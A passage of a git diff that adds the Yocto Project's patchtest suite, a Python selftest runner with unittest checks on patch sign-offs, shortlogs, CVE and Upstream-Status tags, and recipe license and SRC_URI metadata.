++ file://CVE-1234-56789.patch \
++ "
+
+ S = "${WORKDIR}"
+
+@@ -16,4 +18,4 @@ do_install() {
+ install -m 0755 helloworld ${D}${bindir}
+ }
+
+-BBCLASSEXTEND = "native nativesdk"
+\ No newline at end of file
++BBCLASSEXTEND = "native nativesdk"
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/selftest b/meta/lib/patchtest/selftest/selftest
new file mode 100755
index 0000000000..6fad50ce61
--- /dev/null
+++ b/meta/lib/patchtest/selftest/selftest
@@ -0,0 +1,94 @@
+#!/usr/bin/env python3
+
+# Test every patch from files folder and output error on failure
+#
+# Copyright (C) 2016 Intel Corporation
+#
+# SPDX-License-Identifier: GPL-2.0-only
+
+import os
+import subprocess
+import sys
+
+currentdir = os.path.dirname(os.path.abspath(__file__))
+patchesdir = os.path.join(currentdir, 'files')
+topdir = os.path.dirname(currentdir)
+parentdir = os.path.dirname(topdir)
+
+# path to the repo root
+repodir = os.path.dirname(os.path.dirname(parentdir))
+
+def print_results(passcount, failcount, skipcount, xpasscount, xfailcount, xskipcount, errorcount):
+ total = passcount + skipcount + failcount + xpasscount + xfailcount + xskipcount + errorcount
+ print("============================================================================")
+ print("Testsuite summary for %s" % os.path.basename(topdir))
+ print("============================================================================")
+ print("# TOTAL: %s" % str(total))
+ print("# XPASS: %s" % str(xpasscount))
+ print("# XFAIL: %s" % str(xfailcount))
+ print("# XSKIP: %s" % str(xskipcount))
+ print("# PASS: %s" % str(passcount))
+ print("# FAIL: %s" % str(failcount))
+ print("# SKIP: %s" % str(skipcount))
+ print("# ERROR: %s" % str(errorcount))
+ print("============================================================================")
+
+# Once the tests are in oe-core, we can remove the testdir param and use os.path.dirname to get relative paths
+def test(root, patch):
+ res = True
+ patchpath = os.path.abspath(os.path.join(root, patch))
+
+ cmd = 'patchtest --repodir %s --testdir %s/tests --patch %s' % (repodir, topdir, patchpath)
+ results = subprocess.check_output(cmd, stderr=subprocess.STDOUT, universal_newlines=True, shell=True)
+
+ return results
+
+if __name__ == '__main__':
+ passcount = 0
+ failcount = 0
+ skipcount = 0
+ xpasscount = 0
+ xfailcount = 0
+ xskipcount = 0
+ errorcount = 0
+
+ results = None
+
+ for root, dirs, patches in os.walk(patchesdir):
+ for patch in patches:
+ results = test(root, patch)
+
+ a = patch.split('.')
+ klass, testname = a[0], a[1]
+ expected_result = a[-1]
+ testid = ".%s.%s" % (klass,testname)
+
+ for resultline in results.splitlines():
+ if testid in resultline:
+ result, _ = resultline.split(':', 1)
+
+ if expected_result.upper() == "FAIL" and result.upper() == "FAIL":
+ xfailcount = xfailcount + 1
+ print("XFAIL: %s (file: %s)" % (testid.strip("."), os.path.basename(patch)))
+ elif expected_result.upper() == "PASS" and result.upper() == "PASS":
+ xpasscount = xpasscount + 1
+ print("XPASS: %s (file: %s)" % (testid.strip("."), os.path.basename(patch)))
+ elif expected_result.upper() == "SKIP" and result.upper() == "SKIP":
+ xskipcount = xskipcount + 1
+ print("XSKIP: %s (file: %s)" % (testid.strip("."), os.path.basename(patch)))
+ else:
+ print("%s: %s (%s)" % (result.upper(), testid.strip("."), os.path.basename(patch)))
+ if result.upper() == "PASS":
+ passcount = passcount + 1
+ elif result.upper() == "FAIL":
+ failcount = failcount + 1
+ elif result.upper() == "SKIP":
+ skipcount = skipcount + 1
+ else:
+ print("Bad result on test %s against %s" % (testid.strip("."), os.path.basename(patch)))
+ errorcount = errorcount + 1
+ break
+ else:
+ print ("No test for=%s" % patch)
+
+ print_results(passcount, failcount, skipcount, xpasscount, xfailcount, xskipcount, errorcount)
diff --git a/meta/recipes-graphics/wayland/weston-init/qemux86-64/weston.ini b/meta/lib/patchtest/tests/__init__.py
index e69de29bb2..e69de29bb2 100644
--- a/meta/recipes-graphics/wayland/weston-init/qemux86-64/weston.ini
+++ b/meta/lib/patchtest/tests/__init__.py
diff --git a/meta/lib/patchtest/tests/base.py b/meta/lib/patchtest/tests/base.py
new file mode 100644
index 0000000000..424e61b5be
--- /dev/null
+++ b/meta/lib/patchtest/tests/base.py
@@ -0,0 +1,239 @@
+# Base class to be used by all test cases defined in the suite
+#
+# Copyright (C) 2016 Intel Corporation
+#
+# SPDX-License-Identifier: GPL-2.0-only
+
+import unittest
+import logging
+import json
+import unidiff
+from data import PatchTestInput
+import mailbox
+import collections
+import sys
+import os
+import re
+
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), 'pyparsing'))
+
+logger = logging.getLogger('patchtest')
+debug=logger.debug
+info=logger.info
+warn=logger.warn
+error=logger.error
+
+Commit = collections.namedtuple('Commit', ['author', 'subject', 'commit_message', 'shortlog', 'payload'])
+
+class PatchtestOEError(Exception):
+ """Exception for handling patchtest-oe errors"""
+ def __init__(self, message, exitcode=1):
+ super().__init__(message)
+ self.exitcode = exitcode
+
+class Base(unittest.TestCase):
+ # if unit test fails, fail message will throw at least the following JSON: {"id": <testid>}
+
+ endcommit_messages_regex = re.compile(r'\(From \w+-\w+ rev:|(?<!\S)Signed-off-by|(?<!\S)---\n')
+ patchmetadata_regex = re.compile(r'-{3} \S+|\+{3} \S+|@{2} -\d+,\d+ \+\d+,\d+ @{2} \S+')
+
+
+ @staticmethod
+ def msg_to_commit(msg):
+ payload = msg.get_payload()
+ return Commit(subject=msg['subject'].replace('\n', ' ').replace(' ', ' '),
+ author=msg.get('From'),
+ shortlog=Base.shortlog(msg['subject']),
+ commit_message=Base.commit_message(payload),
+ payload=payload)
+
+ @staticmethod
+ def commit_message(payload):
+ commit_message = payload.__str__()
+ match = Base.endcommit_messages_regex.search(payload)
+ if match:
+ commit_message = payload[:match.start()]
+ return commit_message
+
+ @staticmethod
+ def shortlog(shlog):
+ # remove possible prefix (between brackets) before colon
+ start = shlog.find(']', 0, shlog.find(':'))
+ # remove also newlines and spaces at both sides
+ return shlog[start + 1:].replace('\n', '').strip()
+
+ @classmethod
+ def setUpClass(cls):
+
+ # General objects: mailbox.mbox and patchset
+ cls.mbox = mailbox.mbox(PatchTestInput.repo.patch)
+
+ # Patch may be malformed, so try parsing it
+ cls.unidiff_parse_error = ''
+ cls.patchset = None
+ try:
+ cls.patchset = unidiff.PatchSet.from_filename(PatchTestInput.repo.patch, encoding=u'UTF-8')
+ except unidiff.UnidiffParseError as upe:
+ cls.patchset = []
+ cls.unidiff_parse_error = str(upe)
+
+ # Easy to iterate list of commits
+ cls.commits = []
+ for msg in cls.mbox:
+ if msg['subject'] and msg.get_payload():
+ cls.commits.append(Base.msg_to_commit(msg))
+
+ cls.setUpClassLocal()
+
+ @classmethod
+ def tearDownClass(cls):
+ cls.tearDownClassLocal()
+
+ @classmethod
+ def setUpClassLocal(cls):
+ pass
+
+ @classmethod
+ def tearDownClassLocal(cls):
+ pass
+
+ def fail(self, issue, fix=None, commit=None, data=None):
+ """ Convert to a JSON string failure data"""
+ value = {'id': self.id(),
+ 'issue': issue}
+
+ if fix:
+ value['fix'] = fix
+ if commit:
+ value['commit'] = {'subject': commit.subject,
+ 'shortlog': commit.shortlog}
+
+ # extend return value with other useful info
+ if data:
+ value['data'] = data
+
+ return super(Base, self).fail(json.dumps(value))
+
+ def skip(self, issue, data=None):
+ """ Convert the skip string to JSON"""
+ value = {'id': self.id(),
+ 'issue': issue}
+
+ # extend return value with other useful info
+ if data:
+ value['data'] = data
+
+ return super(Base, self).skipTest(json.dumps(value))
+
+ def shortid(self):
+ return self.id().split('.')[-1]
+
+ def __str__(self):
+ return json.dumps({'id': self.id()})
+
+class Metadata(Base):
+ @classmethod
+ def setUpClassLocal(cls):
+ cls.tinfoil = cls.setup_tinfoil()
+
+ # get info about added/modified/remove recipes
+ cls.added, cls.modified, cls.removed = cls.get_metadata_stats(cls.patchset)
+
+ @classmethod
+ def tearDownClassLocal(cls):
+ cls.tinfoil.shutdown()
+
+ @classmethod
+ def setup_tinfoil(cls, config_only=False):
+ """Initialize tinfoil api from bitbake"""
+
+ # import relevant libraries
+ try:
+ scripts_path = os.path.join(PatchTestInput.repodir, 'scripts', 'lib')
+ if scripts_path not in sys.path:
+ sys.path.insert(0, scripts_path)
+ import scriptpath
+ scriptpath.add_bitbake_lib_path()
+ import bb.tinfoil
+ except ImportError:
+ raise PatchtestOEError('Could not import tinfoil module')
+
+ orig_cwd = os.path.abspath(os.curdir)
+
+ # Load tinfoil
+ tinfoil = None
+ try:
+ builddir = os.environ.get('BUILDDIR')
+ if not builddir:
+ logger.warn('Bitbake environment not loaded?')
+ return tinfoil
+ os.chdir(builddir)
+ tinfoil = bb.tinfoil.Tinfoil()
+ tinfoil.prepare(config_only=config_only)
+ except bb.tinfoil.TinfoilUIException as te:
+ if tinfoil:
+ tinfoil.shutdown()
+ raise PatchtestOEError('Could not prepare properly tinfoil (TinfoilUIException)')
+ except Exception as e:
+ if tinfoil:
+ tinfoil.shutdown()
+ raise e
+ finally:
+ os.chdir(orig_cwd)
+
+ return tinfoil
+
+ @classmethod
+ def get_metadata_stats(cls, patchset):
+ """Get lists of added, modified and removed metadata files"""
+
+ def find_pn(data, path):
+ """Find the PN from data"""
+ pn = None
+ pn_native = None
+ for _path, _pn in data:
+ if path in _path:
+ if 'native' in _pn:
+ # store the native PN but look for the non-native one first
+ pn_native = _pn
+ else:
+ pn = _pn
+ break
+ else:
+ # sent the native PN if found previously
+ if pn_native:
+ return pn_native
+
+ # on renames (usually upgrades), we need to check (FILE) base names
+ # because the unidiff library does not provided the new filename, just the modified one
+ # and tinfoil datastore, once the patch is merged, will contain the new filename
+ path_basename = path.split('_')[0]
+ for _path, _pn in data:
+ _path_basename = _path.split('_')[0]
+ if path_basename == _path_basename:
+ pn = _pn
+ return pn
+
+ if not cls.tinfoil:
+ cls.tinfoil = cls.setup_tinfoil()
+
+ added_paths, modified_paths, removed_paths = [], [], []
+ added, modified, removed = [], [], []
+
+ # get metadata filename additions, modification and removals
+ for patch in patchset:
+ if patch.path.endswith('.bb') or patch.path.endswith('.bbappend') or patch.path.endswith('.inc'):
+ if patch.is_added_file:
+ added_paths.append(os.path.join(os.path.abspath(PatchTestInput.repodir), patch.path))
+ elif patch.is_modified_file:
+ modified_paths.append(os.path.join(os.path.abspath(PatchTestInput.repodir), patch.path))
+ elif patch.is_removed_file:
+ removed_paths.append(os.path.join(os.path.abspath(PatchTestInput.repodir), patch.path))
+
+ data = cls.tinfoil.cooker.recipecaches[''].pkg_fn.items()
+
+ added = [find_pn(data,path) for path in added_paths]
+ modified = [find_pn(data,path) for path in modified_paths]
+ removed = [find_pn(data,path) for path in removed_paths]
+
+ return [a for a in added if a], [m for m in modified if m], [r for r in removed if r]
diff --git a/meta/lib/patchtest/tests/pyparsing/common.py b/meta/lib/patchtest/tests/pyparsing/common.py
new file mode 100644
index 0000000000..cbce4c38bc
--- /dev/null
+++ b/meta/lib/patchtest/tests/pyparsing/common.py
@@ -0,0 +1,26 @@
+# common pyparsing variables
+#
+# Copyright (C) 2016 Intel Corporation
+#
+# SPDX-License-Identifier: GPL-2.0-only
+
+import pyparsing
+
+# general
+colon = pyparsing.Literal(":")
+start = pyparsing.LineStart()
+end = pyparsing.LineEnd()
+at = pyparsing.Literal("@")
+lessthan = pyparsing.Literal("<")
+greaterthan = pyparsing.Literal(">")
+opensquare = pyparsing.Literal("[")
+closesquare = pyparsing.Literal("]")
+inappropriate = pyparsing.CaselessLiteral("Inappropriate")
+submitted = pyparsing.CaselessLiteral("Submitted")
+
+# word related
+nestexpr = pyparsing.nestedExpr(opener='[', closer=']')
+inappropriateinfo = pyparsing.Literal("Inappropriate") + nestexpr
+submittedinfo = pyparsing.Literal("Submitted") + nestexpr
+word = pyparsing.Word(pyparsing.alphas)
+worddot = pyparsing.Word(pyparsing.alphas+".")
diff --git a/meta/lib/patchtest/tests/pyparsing/parse_cve_tags.py b/meta/lib/patchtest/tests/pyparsing/parse_cve_tags.py
new file mode 100644
index 0000000000..f7fb82ec2b
--- /dev/null
+++ b/meta/lib/patchtest/tests/pyparsing/parse_cve_tags.py
@@ -0,0 +1,18 @@
+# signed-off-by pyparsing definition
+#
+# Copyright (C) 2016 Intel Corporation
+#
+# SPDX-License-Identifier: GPL-2.0-only
+
+
+import pyparsing
+import common
+
+name = pyparsing.Regex('\S+.*(?= <)')
+username = pyparsing.OneOrMore(common.worddot)
+domain = pyparsing.OneOrMore(common.worddot)
+cve = pyparsing.Regex('CVE\-\d{4}\-\d+')
+cve_mark = pyparsing.Literal("CVE:")
+
+cve_tag = pyparsing.AtLineStart(cve_mark + cve)
+patch_cve_tag = pyparsing.AtLineStart("+" + cve_mark + cve)
diff --git a/meta/lib/patchtest/tests/pyparsing/parse_shortlog.py b/meta/lib/patchtest/tests/pyparsing/parse_shortlog.py
new file mode 100644
index 0000000000..30d3ab35b3
--- /dev/null
+++ b/meta/lib/patchtest/tests/pyparsing/parse_shortlog.py
@@ -0,0 +1,14 @@
+# subject pyparsing definition
+#
+# Copyright (C) 2016 Intel Corporation
+#
+# SPDX-License-Identifier: GPL-2.0-only
+
+# NOTE:This is an oversimplified syntax of the mbox's summary
+
+import pyparsing
+import common
+
+target = pyparsing.OneOrMore(pyparsing.Word(pyparsing.printables.replace(':','')))
+summary = pyparsing.OneOrMore(pyparsing.Word(pyparsing.printables))
+shortlog = common.start + target + common.colon + summary + common.end
diff --git a/meta/lib/patchtest/tests/pyparsing/parse_signed_off_by.py b/meta/lib/patchtest/tests/pyparsing/parse_signed_off_by.py
new file mode 100644
index 0000000000..692ebec3ff
--- /dev/null
+++ b/meta/lib/patchtest/tests/pyparsing/parse_signed_off_by.py
@@ -0,0 +1,22 @@
+# signed-off-by pyparsing definition
+#
+# Copyright (C) 2016 Intel Corporation
+#
+# SPDX-License-Identifier: GPL-2.0-only
+
+
+import pyparsing
+import common
+
+name = pyparsing.Regex('\S+.*(?= <)')
+username = pyparsing.OneOrMore(common.worddot)
+domain = pyparsing.OneOrMore(common.worddot)
+
+# taken from https://pyparsing-public.wikispaces.com/Helpful+Expressions
+email = pyparsing.Regex(r"(?P<user>[A-Za-z0-9._%+-]+)@(?P<hostname>[A-Za-z0-9.-]+)\.(?P<domain>[A-Za-z]{2,})")
+
+email_enclosed = common.lessthan + email + common.greaterthan
+
+signed_off_by_mark = pyparsing.Literal("Signed-off-by:")
+signed_off_by = pyparsing.AtLineStart(signed_off_by_mark + name + email_enclosed)
+patch_signed_off_by = pyparsing.AtLineStart("+" + signed_off_by_mark + name + email_enclosed)
diff --git a/meta/lib/patchtest/tests/pyparsing/parse_upstream_status.py b/meta/lib/patchtest/tests/pyparsing/parse_upstream_status.py
new file mode 100644
index 0000000000..bc6c427c4c
--- /dev/null
+++ b/meta/lib/patchtest/tests/pyparsing/parse_upstream_status.py
@@ -0,0 +1,24 @@
+# upstream-status pyparsing definition
+#
+# Copyright (C) 2016 Intel Corporation
+#
+# SPDX-License-Identifier: GPL-2.0-only
+
+
+import common
+import pyparsing
+
+upstream_status_literal_valid_status = ["Pending", "Backport", "Denied", "Inappropriate", "Submitted"]
+upstream_status_nonliteral_valid_status = ["Pending", "Backport", "Denied", "Inappropriate [reason]", "Submitted [where]"]
+
+upstream_status_valid_status = pyparsing.Or(
+ [pyparsing.Literal(status) for status in upstream_status_literal_valid_status]
+)
+
+upstream_status_mark = pyparsing.Literal("Upstream-Status")
+inappropriate_status_mark = common.inappropriate
+submitted_status_mark = common.submitted
+
+upstream_status = common.start + upstream_status_mark + common.colon + upstream_status_valid_status
+upstream_status_inappropriate_info = common.start + upstream_status_mark + common.colon + common.inappropriateinfo
+upstream_status_submitted_info = common.start + upstream_status_mark + common.colon + common.submittedinfo
diff --git a/meta/lib/patchtest/tests/test_mbox.py b/meta/lib/patchtest/tests/test_mbox.py
new file mode 100644
index 0000000000..0b623b7d17
--- /dev/null
+++ b/meta/lib/patchtest/tests/test_mbox.py
@@ -0,0 +1,159 @@
+# Checks related to the patch's author
+#
+# Copyright (C) 2016 Intel Corporation
+#
+# SPDX-License-Identifier: GPL-2.0-only
+
+import base
+import collections
+import parse_shortlog
+import parse_signed_off_by
+import pyparsing
+import subprocess
+from data import PatchTestInput
+
+def headlog():
+ output = subprocess.check_output(
+ "cd %s; git log --pretty='%%h#%%aN#%%cD:#%%s' -1" % PatchTestInput.repodir,
+ universal_newlines=True,
+ shell=True
+ )
+ return output.split('#')
+
+class TestMbox(base.Base):
+
+ auh_email = 'auh@auh.yoctoproject.org'
+
+ invalids = [pyparsing.Regex("^Upgrade Helper.+"),
+ pyparsing.Regex(auh_email),
+ pyparsing.Regex("uh@not\.set"),
+ pyparsing.Regex("\S+@example\.com")]
+
+ rexp_detect = pyparsing.Regex('\[\s?YOCTO.*\]')
+ rexp_validation = pyparsing.Regex('\[(\s?YOCTO\s?#\s?(\d+)\s?,?)+\]')
+ revert_shortlog_regex = pyparsing.Regex('Revert\s+".*"')
+ signoff_prog = parse_signed_off_by.signed_off_by
+ revert_shortlog_regex = pyparsing.Regex('Revert\s+".*"')
+ maxlength = 90
+
+ # base paths of main yocto project sub-projects
+ paths = {
+ 'oe-core': ['meta-selftest', 'meta-skeleton', 'meta', 'scripts'],
+ 'bitbake': ['bitbake'],
+ 'documentation': ['documentation'],
+ 'poky': ['meta-poky','meta-yocto-bsp'],
+ 'oe': ['meta-gpe', 'meta-gnome', 'meta-efl', 'meta-networking', 'meta-multimedia','meta-initramfs', 'meta-ruby', 'contrib', 'meta-xfce', 'meta-filesystems', 'meta-perl', 'meta-webserver', 'meta-systemd', 'meta-oe', 'meta-python']
+ }
+
+ # scripts folder is a mix of oe-core and poky, most is oe-core code except:
+ poky_scripts = ['scripts/yocto-bsp', 'scripts/yocto-kernel', 'scripts/yocto-layer', 'scripts/lib/bsp']
+
+ Project = collections.namedtuple('Project', ['name', 'listemail', 'gitrepo', 'paths'])
+
+ bitbake = Project(name='Bitbake', listemail='bitbake-devel@lists.openembedded.org', gitrepo='http://git.openembedded.org/bitbake/', paths=paths['bitbake'])
+ doc = Project(name='Documentantion', listemail='yocto@yoctoproject.org', gitrepo='http://git.yoctoproject.org/cgit/cgit.cgi/yocto-docs/', paths=paths['documentation'])
+ poky = Project(name='Poky', listemail='poky@yoctoproject.org', gitrepo='http://git.yoctoproject.org/cgit/cgit.cgi/poky/', paths=paths['poky'])
+ oe = Project(name='oe', listemail='openembedded-devel@lists.openembedded.org', gitrepo='http://git.openembedded.org/meta-openembedded/', paths=paths['oe'])
+
+
+ def test_signed_off_by_presence(self):
+ for commit in TestMbox.commits:
+ # skip those patches that revert older commits, these do not required the tag presence
+ if self.revert_shortlog_regex.search_string(commit.shortlog):
+ continue
+ if not self.signoff_prog.search_string(commit.payload):
+ self.fail('Mbox is missing Signed-off-by. Add it manually or with "git commit --amend -s"',
+ commit=commit)
+
+ def test_shortlog_format(self):
+ for commit in TestMbox.commits:
+ shortlog = commit.shortlog
+ if not shortlog.strip():
+ self.skip('Empty shortlog, no reason to execute shortlog format test')
+ else:
+ # no reason to re-check on revert shortlogs
+ if shortlog.startswith('Revert "'):
+ continue
+ try:
+ parse_shortlog.shortlog.parseString(shortlog)
+ except pyparsing.ParseException as pe:
+ self.fail('Commit shortlog (first line of commit message) should follow the format "<target>: <summary>"',
+ commit=commit)
+
+ def test_shortlog_length(self):
+ for commit in TestMbox.commits:
+ # no reason to re-check on revert shortlogs
+ shortlog = commit.shortlog
+ if shortlog.startswith('Revert "'):
+ continue
+ l = len(shortlog)
+ if l > self.maxlength:
+ self.fail('Edit shortlog so that it is %d characters or less (currently %d characters)' % (self.maxlength, l),
+ commit=commit)
+
+ def test_series_merge_on_head(self):
+ self.skip("Merge test is disabled for now")
+ if PatchTestInput.repo.branch != "master":
+ self.skip("Skipping merge test since patch is not intended for master branch. Target detected is %s" % PatchTestInput.repo.branch)
+ if not PatchTestInput.repo.ismerged:
+ commithash, author, date, shortlog = headlog()
+ self.fail('Series does not apply on top of target branch %s' % PatchTestInput.repo.branch,
+ data=[('Targeted branch', '%s (currently at %s)' % (PatchTestInput.repo.branch, commithash))])
+
+ def test_target_mailing_list(self):
+ """In case of merge failure, check for other targeted projects"""
+ if PatchTestInput.repo.ismerged:
+ self.skip('Series merged, no reason to check other mailing lists')
+
+ # a meta project may be indicted in the message subject, if this is the case, just fail
+ # TODO: there may be other project with no-meta prefix, we also need to detect these
+ project_regex = pyparsing.Regex("\[(?P<project>meta-.+)\]")
+ for commit in TestMbox.commits:
+ match = project_regex.search_string(commit.subject)
+ if match:
+ self.fail('Series sent to the wrong mailing list or some patches from the series correspond to different mailing lists',
+ commit=commit)
+
+ for patch in self.patchset:
+ folders = patch.path.split('/')
+ base_path = folders[0]
+ for project in [self.bitbake, self.doc, self.oe, self.poky]:
+ if base_path in project.paths:
+ self.fail('Series sent to the wrong mailing list or some patches from the series correspond to different mailing lists',
+ data=[('Suggested ML', '%s [%s]' % (project.listemail, project.gitrepo)),
+ ('Patch\'s path:', patch.path)])
+
+ # check for poky's scripts code
+ if base_path.startswith('scripts'):
+ for poky_file in self.poky_scripts:
+ if patch.path.startswith(poky_file):
+ self.fail('Series sent to the wrong mailing list or some patches from the series correspond to different mailing lists',
+ data=[('Suggested ML', '%s [%s]' % (self.poky.listemail, self.poky.gitrepo)),('Patch\'s path:', patch.path)])
+
+ def test_mbox_format(self):
+ if self.unidiff_parse_error:
+ self.fail('Series has malformed diff lines. Create the series again using git-format-patch and ensure it applies using git am',
+ data=[('Diff line',self.unidiff_parse_error)])
+
+ def test_commit_message_presence(self):
+ for commit in TestMbox.commits:
+ if not commit.commit_message.strip():
+ self.fail('Please include a commit message on your patch explaining the change', commit=commit)
+
+ def test_bugzilla_entry_format(self):
+ for commit in TestMbox.commits:
+ if not self.rexp_detect.search_string(commit.commit_message):
+ self.skip("No bug ID found")
+ elif not self.rexp_validation.search_string(commit.commit_message):
+ self.fail('Bugzilla issue ID is not correctly formatted - specify it with format: "[YOCTO #<bugzilla ID>]"', commit=commit)
+
+ def test_author_valid(self):
+ for commit in self.commits:
+ for invalid in self.invalids:
+ if invalid.search_string(commit.author):
+ self.fail('Invalid author %s. Resend the series with a valid patch author' % commit.author, commit=commit)
+
+ def test_non_auh_upgrade(self):
+ for commit in self.commits:
+ if self.auh_email in commit.payload:
+ self.fail('Invalid author %s. Resend the series with a valid patch author' % self.auh_email, commit=commit)
diff --git a/meta/lib/patchtest/tests/test_metadata.py b/meta/lib/patchtest/tests/test_metadata.py
new file mode 100644
index 0000000000..be609dbd04
--- /dev/null
+++ b/meta/lib/patchtest/tests/test_metadata.py
@@ -0,0 +1,197 @@
+# Checks related to the patch's LIC_FILES_CHKSUM metadata variable
+#
+# Copyright (C) 2016 Intel Corporation
+#
+# SPDX-License-Identifier: GPL-2.0-only
+
+import base
+import os
+import pyparsing
+from data import PatchTestInput, PatchTestDataStore
+
+class TestMetadata(base.Metadata):
+ metadata_lic = 'LICENSE'
+ invalid_license = 'PATCHTESTINVALID'
+ metadata_chksum = 'LIC_FILES_CHKSUM'
+ license_var = 'LICENSE'
+ closed = 'CLOSED'
+ lictag_re = pyparsing.AtLineStart("License-Update:")
+ lic_chksum_added = pyparsing.AtLineStart("+" + metadata_chksum)
+ lic_chksum_removed = pyparsing.AtLineStart("-" + metadata_chksum)
+ add_mark = pyparsing.Regex('\+ ')
+ max_length = 200
+ metadata_src_uri = 'SRC_URI'
+ md5sum = 'md5sum'
+ sha256sum = 'sha256sum'
+ git_regex = pyparsing.Regex('^git\:\/\/.*')
+ metadata_summary = 'SUMMARY'
+ cve_check_ignore_var = 'CVE_CHECK_IGNORE'
+ cve_status_var = 'CVE_STATUS'
+
+ def test_license_presence(self):
+ if not self.added:
+ self.skip('No added recipes, skipping test')
+
+ # TODO: this is a workaround so we can parse the recipe not
+ # containing the LICENSE var: add some default license instead
+ # of INVALID into auto.conf, then remove this line at the end
+ auto_conf = os.path.join(os.environ.get('BUILDDIR'), 'conf', 'auto.conf')
+ open_flag = 'w'
+ if os.path.exists(auto_conf):
+ open_flag = 'a'
+ with open(auto_conf, open_flag) as fd:
+ for pn in self.added:
+ fd.write('LICENSE ??= "%s"\n' % self.invalid_license)
+
+ no_license = False
+ for pn in self.added:
+ rd = self.tinfoil.parse_recipe(pn)
+ license = rd.getVar(self.metadata_lic)
+ if license == self.invalid_license:
+ no_license = True
+ break
+
+ # remove auto.conf line or the file itself
+ if open_flag == 'w':
+ os.remove(auto_conf)
+ else:
+ fd = open(auto_conf, 'r')
+ lines = fd.readlines()
+ fd.close()
+ with open(auto_conf, 'w') as fd:
+ fd.write(''.join(lines[:-1]))
+
+ if no_license:
+ self.fail('Recipe does not have the LICENSE field set.')
+
+ def test_lic_files_chksum_presence(self):
+ if not self.added:
+ self.skip('No added recipes, skipping test')
+
+ for pn in self.added:
+ rd = self.tinfoil.parse_recipe(pn)
+ pathname = rd.getVar('FILE')
+ # we are not interested in images
+ if '/images/' in pathname:
+ continue
+ lic_files_chksum = rd.getVar(self.metadata_chksum)
+ if rd.getVar(self.license_var) == self.closed:
+ continue
+ if not lic_files_chksum:
+ self.fail('%s is missing in newly added recipe' % self.metadata_chksum)
+
+ def test_lic_files_chksum_modified_not_mentioned(self):
+ if not self.modified:
+ self.skip('No modified recipes, skipping test')
+
+ for patch in self.patchset:
+ # for the moment, we are just interested in metadata
+ if patch.path.endswith('.patch'):
+ continue
+ payload = str(patch)
+ if (self.lic_chksum_added.search_string(payload) or self.lic_chksum_removed.search_string(payload)):
+ # if any patch on the series contain reference on the metadata, fail
+ for commit in self.commits:
+ if self.lictag_re.search_string(commit.commit_message):
+ break
+ else:
+ self.fail('LIC_FILES_CHKSUM changed without "License-Update:" tag and description in commit message')
+
+ def test_max_line_length(self):
+ for patch in self.patchset:
+ # for the moment, we are just interested in metadata
+ if patch.path.endswith('.patch'):
+ continue
+ payload = str(patch)
+ for line in payload.splitlines():
+ if self.add_mark.search_string(line):
+ current_line_length = len(line[1:])
+ if current_line_length > self.max_length:
+ self.fail('Patch line too long (current length %s, maximum is %s)' % (current_line_length, self.max_length),
+ data=[('Patch', patch.path), ('Line', '%s ...' % line[0:80])])
+
+ def pretest_src_uri_left_files(self):
+ # these tests just make sense on patches that can be merged
+ if not PatchTestInput.repo.canbemerged:
+ self.skip('Patch cannot be merged')
+ if not self.modified:
+ self.skip('No modified recipes, skipping pretest')
+
+ # get the proper metadata values
+ for pn in self.modified:
+ # we are not interested in images
+ if 'core-image' in pn:
+ continue
+ rd = self.tinfoil.parse_recipe(pn)
+ PatchTestDataStore['%s-%s-%s' % (self.shortid(), self.metadata_src_uri, pn)] = rd.getVar(self.metadata_src_uri)
+
+ def test_src_uri_left_files(self):
+ # these tests just make sense on patches that can be merged
+ if not PatchTestInput.repo.canbemerged:
+ self.skip('Patch cannot be merged')
+ if not self.modified:
+ self.skip('No modified recipes, skipping pretest')
+
+ # get the proper metadata values
+ for pn in self.modified:
+ # we are not interested in images
+ if 'core-image' in pn:
+ continue
+ rd = self.tinfoil.parse_recipe(pn)
+ PatchTestDataStore['%s-%s-%s' % (self.shortid(), self.metadata_src_uri, pn)] = rd.getVar(self.metadata_src_uri)
+
+ for pn in self.modified:
+ pretest_src_uri = PatchTestDataStore['pre%s-%s-%s' % (self.shortid(), self.metadata_src_uri, pn)].split()
+ test_src_uri = PatchTestDataStore['%s-%s-%s' % (self.shortid(), self.metadata_src_uri, pn)].split()
+
+ pretest_files = set([os.path.basename(patch) for patch in pretest_src_uri if patch.startswith('file://')])
+ test_files = set([os.path.basename(patch) for patch in test_src_uri if patch.startswith('file://')])
+
+ # check if files were removed
+ if len(test_files) < len(pretest_files):
+
+ # get removals from patchset
+ filesremoved_from_patchset = set()
+ for patch in self.patchset:
+ if patch.is_removed_file:
+ filesremoved_from_patchset.add(os.path.basename(patch.path))
+
+ # get the deleted files from the SRC_URI
+ filesremoved_from_usr_uri = pretest_files - test_files
+
+ # finally, get those patches removed at SRC_URI and not removed from the patchset
+ # TODO: we are not taking into account renames, so test may raise false positives
+ not_removed = filesremoved_from_usr_uri - filesremoved_from_patchset
+ if not_removed:
+ self.fail('Patches not removed from tree. Remove them and amend the submitted mbox',
+ data=[('Patch', f) for f in not_removed])
+
+ def test_summary_presence(self):
+ if not self.added:
+ self.skip('No added recipes, skipping test')
+
+ for pn in self.added:
+ # we are not interested in images
+ if 'core-image' in pn:
+ continue
+ rd = self.tinfoil.parse_recipe(pn)
+ summary = rd.getVar(self.metadata_summary)
+
+ # "${PN} version ${PN}-${PR}" is the default, so fail if default
+ if summary.startswith('%s version' % pn):
+ self.fail('%s is missing in newly added recipe' % self.metadata_summary)
+
+ def test_cve_check_ignore(self):
+ # Skip if we neither modified a recipe or target branches are not
+ # Nanbield and newer. CVE_CHECK_IGNORE was first deprecated in Nanbield.
+ if not self.modified or PatchTestInput.repo.branch == "kirkstone" or PatchTestInput.repo.branch == "dunfell":
+ self.skip('No modified recipes or older target branch, skipping test')
+ for pn in self.modified:
+ # we are not interested in images
+ if 'core-image' in pn:
+ continue
+ rd = self.tinfoil.parse_recipe(pn)
+ cve_check_ignore = rd.getVar(self.cve_check_ignore_var)
+
+ if cve_check_ignore is not None:
+ self.fail('%s is deprecated and should be replaced by %s' % (self.cve_check_ignore_var, self.cve_status_var))
diff --git a/meta/lib/patchtest/tests/test_patch.py b/meta/lib/patchtest/tests/test_patch.py
new file mode 100644
index 0000000000..d7187a0cb1
--- /dev/null
+++ b/meta/lib/patchtest/tests/test_patch.py
@@ -0,0 +1,103 @@
+# Checks related to the patch's CVE lines
+#
+# Copyright (C) 2016 Intel Corporation
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import base
+import os
+import parse_signed_off_by
+import parse_upstream_status
+import pyparsing
+
+class TestPatch(base.Base):
+
